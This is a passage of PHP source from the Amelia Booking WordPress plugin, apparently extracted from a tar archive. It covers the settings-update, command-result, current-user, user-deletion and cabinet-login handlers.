$globalColors['formBackgroundColor'] : $colorSbsCaf['formBackgroundColor'], 'sbs-caf-text-color' => $useGlobalSbs ? $globalColors['formTextColor'] : $colorSbsCaf['formTextColor'], 'sbs-caf-input-color' => $useGlobalSbs ? $globalColors['formInputColor'] : $colorSbsCaf['formInputColor'], 'sbs-caf-input-text-color' => $useGlobalSbs ? $globalColors['formInputTextColor'] : $colorSbsCaf['formInputTextColor'], 'sbs-caf-dropdown-color' => $useGlobalSbs ? $globalColors['formDropdownColor'] : $colorSbsCaf['formDropdownColor'], 'sbs-caf-dropdown-text-color' => $useGlobalSbs ? $globalColors['formDropdownTextColor'] : $colorSbsCaf['formDropdownTextColor'], 'sbs-spf-bgr-color' => $useGlobalSbs ? $globalColors['formBackgroundColor'] : $colorSbsSpf['formBackgroundColor'], 'sbs-spf-text-color' => $useGlobalSbs ? $globalColors['formTextColor'] : $colorSbsSpf['formTextColor'], 'sbs-spf-input-color' => $useGlobalSbs ? $globalColors['formInputColor'] : $colorSbsSpf['formInputColor'], 'sbs-spf-input-text-color' => $useGlobalSbs ? $globalColors['formInputTextColor'] : $colorSbsSpf['formInputTextColor'], 'sbs-spf-dropdown-color' => $useGlobalSbs ? $globalColors['formDropdownColor'] : $colorSbsSpf['formDropdownColor'], 'sbs-spf-dropdown-text-color' => $useGlobalSbs ? $globalColors['formDropdownTextColor'] : $colorSbsSpf['formDropdownTextColor'], 'sbs-pif-bgr-color' => $useGlobalSbs ? $globalColors['formBackgroundColor'] : $colorSbsPif['formBackgroundColor'], 'sbs-pif-text-color' => $useGlobalSbs ? $globalColors['formTextColor'] : $colorSbsPif['formTextColor'], 'sbs-psf-gradient1' => $useGlobalSbs ? $globalColors['formGradientColor1'] : $colorSbsPsf['formGradientColor1'], 'sbs-psf-gradient2' => $useGlobalSbs ? $globalColors['formGradientColor2'] : $colorSbsPsf['formGradientColor2'], 'sbs-psf-gradient-angle' => $useGlobalSbs ? $globalColors['formGradientAngle'].'deg' : $colorSbsPsf['formGradientAngle'].'deg', 'sbs-psf-text-color' => $useGlobalSbs ? $globalColors['textColorOnBackground'] : $colorSbsPsf['formTextColor'], 'sbs-psf-input-color' => $useGlobalSbs ? $globalColors['formInputColor'] : $colorSbsPsf['formInputColor'], 'sbs-psf-input-text-color' => $useGlobalSbs ? $globalColors['formInputTextColor'] : $colorSbsPsf['formInputTextColor'], 'sbs-psf-dropdown-color' => $useGlobalSbs ? $globalColors['formDropdownColor'] : $colorSbsPsf['formDropdownColor'], 'sbs-psf-dropdown-text-color' => $useGlobalSbs ? $globalColors['formDropdownTextColor'] : $colorSbsPsf['formDropdownTextColor'], 'sbs-plf-bgr-color' => $useGlobalSbs ? $globalColors['formBackgroundColor'] : $colorSbsPlf['formBackgroundColor'], 'sbs-plf-text-color' => $useGlobalSbs ? $globalColors['formTextColor'] : $colorSbsPlf['formTextColor'], 'sbs-cpf-bgr-color' => $useGlobalSbs ? $globalColors['formBackgroundColor'] : $colorSbsCpf['formBackgroundColor'], 'sbs-cpf-text-color' => $useGlobalSbs ? $globalColors['formTextColor'] : $colorSbsCpf['formTextColor'], 'sbs-cpf-input-color' => $useGlobalSbs ? $globalColors['formInputColor'] : $colorSbsCpf['formInputColor'], 'sbs-cpf-input-text-color' => $useGlobalSbs ? $globalColors['formInputTextColor'] : $colorSbsCpf['formInputTextColor'], 'sbs-cpf-dropdown-color' => $useGlobalSbs ? $globalColors['formDropdownColor'] : $colorSbsCpf['formDropdownColor'], 'sbs-cpf-dropdown-text-color' => $useGlobalSbs ? $globalColors['formDropdownTextColor'] : $colorSbsCpf['formDropdownTextColor'], 'sbs-coa-bgr-color' => $useGlobalSbs ? $globalColors['formBackgroundColor'] : $colorSbsCoa['formBackgroundColor'], 'sbs-coa-text-color' => $useGlobalSbs ? $globalColors['formTextColor'] : $colorSbsCoa['formTextColor'], 'sbs-coa-input-color' => $useGlobalSbs ? $globalColors['formInputColor'] : $colorSbsCoa['formInputColor'], 'sbs-coa-input-text-color' => $useGlobalSbs ? $globalColors['formInputTextColor'] : $colorSbsCoa['formInputTextColor'], 'sbs-coa-dropdown-color' => $useGlobalSbs ? $globalColors['formDropdownColor'] : $colorSbsCoa['formDropdownColor'], 'sbs-coa-dropdown-text-color' => $useGlobalSbs ? $globalColors['formDropdownTextColor'] : $colorSbsCoa['formDropdownTextColor'], 'sbs-cop-bgr-color' => $useGlobalSbs ? $globalColors['formBackgroundColor'] : $colorSbsCop['formBackgroundColor'], 'sbs-cop-text-color' => $useGlobalSbs ? $globalColors['formTextColor'] : $colorSbsCop['formTextColor'], 'sbs-cop-input-color' => $useGlobalSbs ? $globalColors['formInputColor'] : $colorSbsCop['formInputColor'], 'sbs-cop-input-text-color' => $useGlobalSbs ? $globalColors['formInputTextColor'] : $colorSbsCop['formInputTextColor'], 'sbs-cop-dropdown-color' => $useGlobalSbs ? $globalColors['formDropdownColor'] : $colorSbsCop['formDropdownColor'], 'sbs-cop-dropdown-text-color' => $useGlobalSbs ? $globalColors['formDropdownTextColor'] : $colorSbsCop['formDropdownTextColor'], // catalog 'cf-ssf-bgr-color' => $useGlobalCf ? $globalColors['formBackgroundColor'] : $colorCfSsf['formBackgroundColor'], 'cf-ssf-text-color' => $useGlobalCf ? $globalColors['formTextColor'] : $colorCfSsf['formTextColor'], 'cf-ssf-input-color' => $useGlobalCf ? $globalColors['formInputColor'] : $colorCfSsf['formInputColor'], 'cf-ssf-input-text-color' => $useGlobalCf ? $globalColors['formInputTextColor'] : $colorCfSsf['formInputTextColor'], 'cf-ssf-dropdown-color' => $useGlobalCf ? $globalColors['formDropdownColor'] : $colorCfSsf['formDropdownColor'], 'cf-ssf-dropdown-text-color' => $useGlobalCf ? $globalColors['formDropdownTextColor'] : $colorCfSsf['formDropdownTextColor'], 'cf-cf-gradient1' => $useGlobalCf ? $globalColors['formGradientColor1'] : $colorCfCf['formGradientColor1'], 'cf-cf-gradient2' => $useGlobalCf ? $globalColors['formGradientColor2'] : $colorCfCf['formGradientColor2'], 'cf-cf-gradient-angle' => $useGlobalCf ? $globalColors['formGradientAngle'].'deg' : $colorCfCf['formGradientAngle'].'deg', 'cf-cf-text-color' => $useGlobalCf ? $globalColors['textColorOnBackground'] : $colorCfCf['formTextColor'], 'cf-rsf-gradient1' => $useGlobalCf ? $globalColors['formGradientColor1'] : $colorCfRsf['formGradientColor1'], 'cf-rsf-gradient2' => $useGlobalCf ? $globalColors['formGradientColor2'] : $colorCfRsf['formGradientColor2'], 'cf-rsf-gradient-angle' => $useGlobalCf ? $globalColors['formGradientAngle'].'deg' : $colorCfRsf['formGradientAngle'].'deg', 'cf-rsf-text-color' => $useGlobalCf ? $globalColors['textColorOnBackground'] : $colorCfRsf['formTextColor'], 'cf-rsf-input-color' => $useGlobalCf ? $globalColors['formInputColor'] : $colorCfRsf['formInputColor'], 'cf-rsf-input-text-color' => $useGlobalCf ? $globalColors['formInputTextColor'] : $colorCfRsf['formInputTextColor'], 'cf-rsf-dropdown-color' => $useGlobalCf ? $globalColors['formDropdownColor'] : $colorCfRsf['formDropdownColor'], 'cf-rsf-dropdown-text-color' => $useGlobalCf ? $globalColors['formDropdownTextColor'] : $colorCfRsf['formDropdownTextColor'], 'cf-rdf-bgr-color' => $useGlobalCf ? $globalColors['formBackgroundColor'] : $colorCfRdf['formBackgroundColor'], 'cf-rdf-text-color' => $useGlobalCf ? $globalColors['formTextColor'] : $colorCfRdf['formTextColor'], 'cf-rdf-input-color' => $useGlobalCf ? $globalColors['formInputColor'] : $colorCfRdf['formInputColor'], 'cf-rdf-input-text-color' => $useGlobalCf ? $globalColors['formInputTextColor'] : $colorCfRdf['formInputTextColor'], 'cf-rdf-dropdown-color' => $useGlobalCf ? $globalColors['formDropdownColor'] : $colorCfRdf['formDropdownColor'], 'cf-rdf-dropdown-text-color' => $useGlobalCf ? $globalColors['formDropdownTextColor'] : $colorCfRdf['formDropdownTextColor'], 'cf-caf-bgr-color' => $useGlobalCf ? $globalColors['formBackgroundColor'] : $colorCfCaf['formBackgroundColor'], 'cf-caf-text-color' => $useGlobalCf ? $globalColors['formTextColor'] : $colorCfCaf['formTextColor'], 'cf-caf-input-color' => $useGlobalCf ? $globalColors['formInputColor'] : $colorCfCaf['formInputColor'], 'cf-caf-input-text-color' => $useGlobalCf ? $globalColors['formInputTextColor'] : $colorCfCaf['formInputTextColor'], 'cf-caf-dropdown-color' => $useGlobalCf ? $globalColors['formDropdownColor'] : $colorCfCaf['formDropdownColor'], 'cf-caf-dropdown-text-color' => $useGlobalCf ? $globalColors['formDropdownTextColor'] : $colorCfCaf['formDropdownTextColor'], 'cf-psf-gradient1' => $useGlobalCf ? $globalColors['formGradientColor1'] : $colorCfPsf['formGradientColor1'], 'cf-psf-gradient2' => $useGlobalCf ? $globalColors['formGradientColor2'] : $colorCfPsf['formGradientColor2'], 'cf-psf-gradient-angle' => $useGlobalCf ? $globalColors['formGradientAngle'].'deg' : $colorCfPsf['formGradientAngle'].'deg', 'cf-psf-text-color' => $useGlobalCf ? $globalColors['textColorOnBackground'] : $colorCfPsf['formTextColor'], 'cf-psf-input-color' => $useGlobalCf ? $globalColors['formInputColor'] : $colorCfPsf['formInputColor'], 'cf-psf-input-text-color' => $useGlobalCf ? $globalColors['formInputTextColor'] : $colorCfPsf['formInputTextColor'], 'cf-psf-dropdown-color' => $useGlobalCf ? $globalColors['formDropdownColor'] : $colorCfPsf['formDropdownColor'], 'cf-psf-dropdown-text-color' => $useGlobalCf ? $globalColors['formDropdownTextColor'] : $colorCfPsf['formDropdownTextColor'], 'cf-plf-bgr-color' => $useGlobalCf ? $globalColors['formBackgroundColor'] : $colorCfPlf['formBackgroundColor'], 'cf-plf-text-color' => $useGlobalCf ? $globalColors['formTextColor'] : $colorCfPlf['formTextColor'], 'cf-cpf-bgr-color' => $useGlobalCf ? $globalColors['formBackgroundColor'] : $colorCfCpf['formBackgroundColor'], 'cf-cpf-text-color' => $useGlobalCf ? $globalColors['formTextColor'] : $colorCfCpf['formTextColor'], 'cf-cpf-input-color' => $useGlobalCf ? $globalColors['formInputColor'] : $colorCfCpf['formInputColor'], 'cf-cpf-input-text-color' => $useGlobalCf ? $globalColors['formInputTextColor'] : $colorCfCpf['formInputTextColor'], 'cf-cpf-dropdown-color' => $useGlobalCf ? $globalColors['formDropdownColor'] : $colorCfCpf['formDropdownColor'], 'cf-cpf-dropdown-text-color' => $useGlobalCf ? $globalColors['formDropdownTextColor'] : $colorCfCpf['formDropdownTextColor'], 'cf-coa-bgr-color' => $useGlobalCf ? $globalColors['formBackgroundColor'] : $colorCfCoa['formBackgroundColor'], 'cf-coa-text-color' => $useGlobalCf ? $globalColors['formTextColor'] : $colorCfCoa['formTextColor'], 'cf-coa-input-color' => $useGlobalCf ? $globalColors['formInputColor'] : $colorCfCoa['formInputColor'], 'cf-coa-input-text-color' => $useGlobalCf ? $globalColors['formInputTextColor'] : $colorCfCoa['formInputTextColor'], 'cf-coa-dropdown-color' => $useGlobalCf ? $globalColors['formDropdownColor'] : $colorCfCoa['formDropdownColor'], 'cf-coa-dropdown-text-color' => $useGlobalCf ? $globalColors['formDropdownTextColor'] : $colorCfCoa['formDropdownTextColor'], 'cf-cop-bgr-color' => $useGlobalCf ? $globalColors['formBackgroundColor'] : $colorCfCop['formBackgroundColor'], 'cf-cop-text-color' => $useGlobalCf ? $globalColors['formTextColor'] : $colorCfCop['formTextColor'], 'cf-cop-input-color' => $useGlobalCf ? $globalColors['formInputColor'] : $colorCfCop['formInputColor'], 'cf-cop-input-text-color' => $useGlobalCf ? $globalColors['formInputTextColor'] : $colorCfCop['formInputTextColor'], 'cf-cop-dropdown-color' => $useGlobalCf ? $globalColors['formDropdownColor'] : $colorCfCop['formDropdownColor'], 'cf-cop-dropdown-text-color' => $useGlobalCf ? $globalColors['formDropdownTextColor'] : $colorCfCop['formDropdownTextColor'], // event list 'elf-bgr-color' => $useGlobalElf ? $globalColors['formBackgroundColor'] : $colorElf['formBackgroundColor'], 'elf-text-color' => $useGlobalElf ? $globalColors['formTextColor'] : $colorElf['formTextColor'], 'elf-input-color' => $useGlobalElf ? $globalColors['formInputColor'] : $colorElf['formInputColor'], 'elf-input-text-color' => $useGlobalElf ? $globalColors['formInputTextColor'] : $colorElf['formInputTextColor'], 'elf-dropdown-color' => $useGlobalElf ? $globalColors['formDropdownColor'] : $colorElf['formDropdownColor'], 'elf-dropdown-text-color' => $useGlobalElf ? $globalColors['formDropdownTextColor'] : $colorElf['formDropdownTextColor'], // event calendar 'ecf-cef-bgr-color' => $useGlobalEcf ? $globalColors['formBackgroundColor'] : $colorEcfCef['formBackgroundColor'], 'ecf-cef-text-color' => $useGlobalEcf ? $globalColors['formTextColor'] : $colorEcfCef['formTextColor'], 'ecf-cef-input-color' => $useGlobalEcf ? $globalColors['formInputColor'] : $colorEcfCef['formInputColor'], 'ecf-cef-input-text-color' => $useGlobalEcf ? $globalColors['formInputTextColor'] : $colorEcfCef['formInputTextColor'], 'ecf-cef-dropdown-color' => $useGlobalEcf ? $globalColors['formDropdownColor'] : $colorEcfCef['formDropdownColor'], 'ecf-cef-dropdown-text-color' => $useGlobalEcf ? $globalColors['formDropdownTextColor'] : $colorEcfCef['formDropdownTextColor'], 'ecf-coe-bgr-color' => $useGlobalEcf ? $globalColors['formBackgroundColor'] : $colorEcfCoe['formBackgroundColor'], 'ecf-coe-text-color' => $useGlobalEcf ? $globalColors['formTextColor'] : $colorEcfCoe['formTextColor'], 'ecf-coe-input-color' => $useGlobalEcf ? $globalColors['formInputColor'] : $colorEcfCoe['formInputColor'], 'ecf-coe-input-text-color' => $useGlobalEcf ? $globalColors['formInputTextColor'] : $colorEcfCoe['formInputTextColor'], 'ecf-coe-dropdown-color' => $useGlobalEcf ? $globalColors['formDropdownColor'] : $colorEcfCoe['formDropdownColor'], 'ecf-coe-dropdown-text-color' => $useGlobalEcf ? $globalColors['formDropdownTextColor'] : $colorEcfCoe['formDropdownTextColor'], ] ); $settingsFields['customization']['hash'] = $hash; $settingsFields['customization']['useGenerated'] = isset($customizationData['useGenerated']) ? $customizationData['useGenerated'] : true; } if (!AMELIA_LITE_VERSION && WooCommerceService::isEnabled() && $command->getField('payments') && $command->getField('payments')['wc']['enabled'] ) { $settingsFields['payments']['wc']['productId'] = WooCommerceService::getIdForExistingOrNewProduct( $settingsService->getCategorySettings('payments')['wc']['productId'] ); } if ($command->getField('sendAllCF') !== null) { $notificationsSettings = $settingsService->getCategorySettings('notifications'); $settingsFields['notifications'] = $notificationsSettings; $settingsFields['notifications']['sendAllCF'] = $command->getField('sendAllCF'); unset($settingsFields['sendAllCF']); } if (!$settingsService->getCategorySettings('activation')['stash'] && !empty($settingsFields['activation']['stash']) ) { /** @var StashApplicationService $stashApplicationService */ $stashApplicationService = $this->container->get('application.stash.service'); $stashApplicationService->setStash(); } if (isset($settingsFields['daysOff']) && $settingsService->getCategorySettings('activation')['stash'] && $settingsService->getCategorySettings('daysOff') !== $settingsFields['daysOff'] && $command->getField('daysOff') !== null ) { /** @var StashApplicationService $stashApplicationService */ $stashApplicationService = $this->container->get('application.stash.service'); $stashApplicationService->setStash($settingsFields['daysOff']); } $settingsFields['activation'] = array_merge( $settingsService->getCategorySettings('activation'), isset($settingsFields['activation']['deleteTables']) ? [ 'deleteTables' => $settingsFields['activation']['deleteTables'] ? true : false ] : [], isset($settingsFields['activation']['envatoTokenEmail']) ? [ 'envatoTokenEmail' => $settingsFields['activation']['envatoTokenEmail'] ] : [], isset($settingsFields['activation']['active']) ? [ 'active' => $settingsFields['activation']['active'] ] : [], isset($settingsFields['activation']['stash']) ? [ 'stash' => $settingsFields['activation']['stash'] ] : [], isset($settingsFields['activation']['enablePolyfill']) ? [ 'enablePolyfill' => $settingsFields['activation']['enablePolyfill'] ] : [], isset($settingsFields['activation']['enableAmeliaPromoBanner']) ? [ 'enableAmeliaPromoBanner' => $settingsFields['activation']['enableAmeliaPromoBanner'] ] : [], isset($settingsFields['activation']['enableAmeliaQAPromoBanner']) ? [ 'enableAmeliaQAPromoBanner' => $settingsFields['activation']['enableAmeliaQAPromoBanner'] ] : [], isset($settingsFields['activation']['showAmeliaPromoCustomizePopup']) ? [ 'showAmeliaPromoCustomizePopup' => $settingsFields['activation']['showAmeliaPromoCustomizePopup'] ] : [], isset($settingsFields['activation']['showAmeliaSurvey']) ? [ 'showAmeliaSurvey' => $settingsFields['activation']['showAmeliaSurvey'] ] : [], isset($settingsFields['activation']['customUrl']) ? [ 'customUrl' => $settingsFields['activation']['customUrl'] ] : [], isset($settingsFields['activation']['v3AsyncLoading']) ? [ 'v3AsyncLoading' => $settingsFields['activation']['v3AsyncLoading'] ] : [], isset($settingsFields['activation']['v3RelativePath']) ? [ 'v3RelativePath' => $settingsFields['activation']['v3RelativePath'] ] : [], isset($settingsFields['activation']['enableThriveItems']) ? [ 'enableThriveItems' => $settingsFields['activation']['enableThriveItems'] ] : [], isset($settingsFields['activation']['responseErrorAsConflict']) ? [ 'responseErrorAsConflict' => $settingsFields['activation']['responseErrorAsConflict'] ] : [], isset($settingsFields['activation']['disableUrlParams']) ? [ 'disableUrlParams' => $settingsFields['activation']['disableUrlParams'] ] : [] ); if ($command->getField('usedLanguages') !== null) { $generalSettings = $settingsService->getCategorySettings('general'); $settingsFields['general'] = $generalSettings; $settingsFields['general']['usedLanguages'] = $command->getField('usedLanguages'); unset($settingsFields['usedLanguages']); } if ($command->getField('lessonSpace') !== null && $settingsFields['lessonSpace']['apiKey']) { if (!$settingsService->getCategorySettings('lessonSpace')['companyId']) { /** @var LessonSpaceService $lessonSpaceService */ $lessonSpaceService = $this->container->get('infrastructure.lesson.space.service'); $companyDetails = $lessonSpaceService->getCompanyId($settingsFields['lessonSpace']['apiKey']); $settingsFields['lessonSpace']['companyId'] = $companyDetails['id']; } else { $settingsFields['lessonSpace']['companyId'] = $settingsService->getCategorySettings('lessonSpace')['companyId']; } } $settingsService->setAllSettings($settingsFields); $settings = $settingsService->getAllSettingsCategorized(); $settings['general']['phoneDefaultCountryCode'] = $settings['general']['phoneDefaultCountryCode'] === 'auto' ? $locationService->getCurrentLocationCountryIso() : $settings['general']['phoneDefaultCountryCode']; $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated settings.'); $result->setData( [ 'settings' => $settings ] ); return $result; } } Commands/Settings/UpdateSettingsCommand.php 0000666 00000000403 15165412624 0015067 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Settings; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateSettingsCommand * * @package AmeliaBooking\Application\Commands\Settings */ class UpdateSettingsCommand extends Command { } Commands/CommandResult.php 0000666 00000004316 15165412624 0011611 0 ustar 00 <?php /** * Class for standardizing command results */ namespace AmeliaBooking\Application\Commands; /** * Class CommandResult * * @package AmeliaBooking\Application\Commands */ class CommandResult { const RESULT_SUCCESS = 'success'; const RESULT_ERROR = 'error'; const RESULT_CONFLICT = 'conflict'; private $data; private $message; private $result = self::RESULT_SUCCESS; private $attachment = false; private $file = null; private $url; private $dataInResponse = true; /** * @return string */ public function getResult() { return $this->result; } /** * @param string $result */ public function setResult($result) { $this->result = $result; } /** * @return mixed */ public function getData() { return $this->data; } /** * @param mixed $data */ public function setData($data) { $this->data = $data; } /** * @return mixed */ public function getMessage() { return $this->message; } /** * @param mixed $message */ public function setMessage($message) { $this->message = $message; } /** * @return mixed */ public function hasAttachment() { return $this->attachment; } /** * @param mixed $attachment */ public function setAttachment($attachment) { $this->attachment = $attachment; } /** * @return mixed */ public function getUrl() { return $this->url; } /** * @param mixed $url */ public function setUrl($url) { $this->url = $url; } /** * @param mixed $file */ public function setFile($file) { $this->file = $file; } /** * @return mixed */ public function getFile() { return $this->file; } /** * @return mixed */ public function hasDataInResponse() { return $this->dataInResponse; } /** * @param mixed $dataInResponse */ public function setDataInResponse($dataInResponse) { $this->dataInResponse = $dataInResponse; } } Commands/CommandHandler.php 0000666 00000002363 15165412624 0011710 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Infrastructure\Common\Container; /** * Class CommandHandler * * @package AmeliaBooking\Application\Commands */ abstract class CommandHandler { /** * @var Container */ protected $container; protected $mandatoryFields = []; /** * @param Command $command * * @throws InvalidArgumentException */ public function checkMandatoryFields($command) { $missingFields = []; foreach ($this->mandatoryFields as $field) { if ($command->getField($field) === null) { $missingFields[] = $field; } } if (!empty($missingFields)) { throw new InvalidArgumentException( 'Mandatory fields not passed! Missing: ' . implode(', ', $missingFields) ); } } /** * CommandHandler constructor. * * @param Container $container */ public function __construct($container) { $this->container = $container; } /** * @return Container */ public function getContainer() { return $this->container; } } Commands/User/GetCurrentUserCommandHandler.php 0000666 00000004212 15165412624 0015463 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Domain\Entity\User\AbstractUser; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class GetCurrentUserCommandHandler * * @package AmeliaBooking\Application\Commands\User */ class GetCurrentUserCommandHandler extends CommandHandler { /** * @param GetCurrentUserCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerException * @throws \InvalidArgumentException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws ContainerException * @throws Exception */ public function handle(GetCurrentUserCommand $command) { $result = new CommandResult(); $this->checkMandatoryFields($command); $userData = null; if ($command->getToken()) { /** @var UserApplicationService $userAS */ $userAS = $this->getContainer()->get('application.user.service'); try { /** @var AbstractUser $user */ $user = $userAS->authorization( $command->getToken(), $command->getCabinetType() ? $command->getCabinetType() : 'customer' ); } catch (AuthorizationException $e) { $user = null; } } else { /** @var AbstractUser $user */ $user = $this->getContainer()->get('logged.in.user'); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved current user'); $result->setData([ Entities::USER => $user ? $user->toArray() : null ]); return $result; } } Commands/User/DeleteUserCommandHandler.php 0000666 00000011760 15165412624 0014611 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\CustomerApplicationService; use AmeliaBooking\Application\Services\User\ProviderApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class DeleteUserCommandHandler * * @package AmeliaBooking\Application\Commands\User */ class DeleteUserCommandHandler extends CommandHandler { /** * @param DeleteUserCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws AccessDeniedException * @throws ContainerException * @throws QueryExecutionException * @throws NotFoundException */ public function handle(DeleteUserCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanDelete(Entities::EMPLOYEES) && !$this->getContainer()->getPermissionsService()->currentUserCanDelete(Entities::CUSTOMERS) ) { throw new AccessDeniedException('You are not allowed to read user'); } $result = new CommandResult(); /** @var UserApplicationService $userAS */ $userAS = $this->getContainer()->get('application.user.service'); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); $appointmentsCount = $userAS->getAppointmentsCountForUser($command->getArg('id')); /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); if ($appointmentsCount['futureAppointments']) { $result->setResult(CommandResult::RESULT_CONFLICT); $result->setMessage('Could not delete user.'); $result->setData([]); return $result; } /** @var AbstractUser $user */ $user = $userRepository->getById($command->getArg('id')); $userRepository->beginTransaction(); if ($user->getType() === AbstractUser::USER_ROLE_PROVIDER) { /** @var ProviderApplicationService $providerApplicationService */ $providerApplicationService = $this->getContainer()->get('application.user.provider.service'); /** @var Provider $provider */ $provider = $providerApplicationService->getProviderWithServicesAndSchedule($user->getId()->getValue()); if (!$providerApplicationService->delete($provider)) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not delete user.'); $userRepository->rollback(); return $result; } } if ($user->getType() === AbstractUser::USER_ROLE_CUSTOMER || $user->getType() === AbstractUser::USER_ROLE_ADMIN ) { /** @var CustomerApplicationService $customerApplicationService */ $customerApplicationService = $this->getContainer()->get('application.user.customer.service'); if (!$customerApplicationService->delete($user)) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not delete user.'); $userRepository->rollback(); return $result; } } /** @var Collection $emptyAppointments */ $emptyAppointments = $appointmentRepository->getAppointmentsWithoutBookings(); /** @var Appointment $appointment */ foreach ($emptyAppointments->getItems() as $appointment) { if (!$appointmentRepository->delete($appointment->getId()->getValue())) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not delete user.'); $userRepository->rollback(); return $result; } } $userRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully deleted user.'); $result->setData([]); return $result; } } Commands/User/LoginCabinetCommandHandler.php 0000666 00000011763 15165412624 0015111 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Customer; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\ValueObjects\Number\Integer\LoginType; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use AmeliaBooking\Infrastructure\WP\UserService\UserService; use Interop\Container\Exception\ContainerException; /** * Class LoginCabinetCommandHandler * * @package AmeliaBooking\Application\Commands\User */ class LoginCabinetCommandHandler extends CommandHandler { /** * @param LoginCabinetCommand $command * * @return CommandResult * * @throws ContainerException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws AccessDeniedException */ public function handle(LoginCabinetCommand $command) { $result = new CommandResult(); /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); /** @var Provider $user */ $user = $this->container->get('logged.in.user'); /** @var string $cabinetType */ $cabinetType = $command->getField('cabinetType'); // If logged in as WP user that is connected with Amelia user if ($user && $user->getId() !== null && $user->getType() === $cabinetType) { return $userAS->getAuthenticatedUserResponse($user, true, false, LoginType::WP_USER, $cabinetType); } // If it's not WP user connected with Amelia user, and it should only check WP login (tokens not sent) if ($command->getField('checkIfWpUser')) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setData(['authentication_required' => true]); return $result; } // If token is sent return authenticated user if ($command->getField('token') ?: $command->getToken()) { /** @var Provider|Customer $user */ $user = $userAS->getAuthenticatedUser( $command->getField('token') ?: $command->getToken(), $command->getField('token') !== null, $cabinetType . 'Cabinet' ); if ($user === null) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not retrieve user'); $result->setData(['reauthorize' => true]); return $result; } return $userAS->getAuthenticatedUserResponse($user, true, true, $user->getLoginType(), $cabinetType, $command->getField('changePass')); } // If token is not set, check if email and password are passed if (!$command->getField('email') || !$command->getField('password')) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not retrieve user'); $result->setData(['invalid_credentials' => true]); return $result; } /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var Provider|Customer $user */ $user = $userRepository->getByEmail($command->getField('email'), true, false); // If user is retrieved by email and password is not set or it is not valid, check if it is WP login if (!($user instanceof AbstractUser) || !$user->getPassword() || !$user->getPassword()->checkValidity($command->getField('password')) ) { /** @var UserService $userService */ $userService = $this->container->get('users.service'); /** @var Provider|Customer $user */ $user = $userService->getAuthenticatedUser($command->getField('email'), $command->getField('password')); if ($user) { $userService->loginWordPressUser($command->getField('email'), $command->getField('password')); return $userAS->getAuthenticatedUserResponse( $user, true, false, LoginType::WP_CREDENTIALS, $cabinetType ); } $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not retrieve user'); $result->setData(['invalid_credentials' => true]); return $result; } // Authenticate user with username and password return $userAS->getAuthenticatedUserResponse($user, true, true, LoginType::AMELIA_CREDENTIALS, $cabinetType); } } Commands/User/LoginCabinetCommand.php 0000666 00000000367 15165412624 0013611 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User; use AmeliaBooking\Application\Commands\Command; /** * Class LoginCabinetCommand * * @package AmeliaBooking\Application\Commands\User */ class LoginCabinetCommand extends Command { } Commands/User/GetWPUsersCommandHandler.php 0000666 00000004131 15165412624 0014552 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\User; use 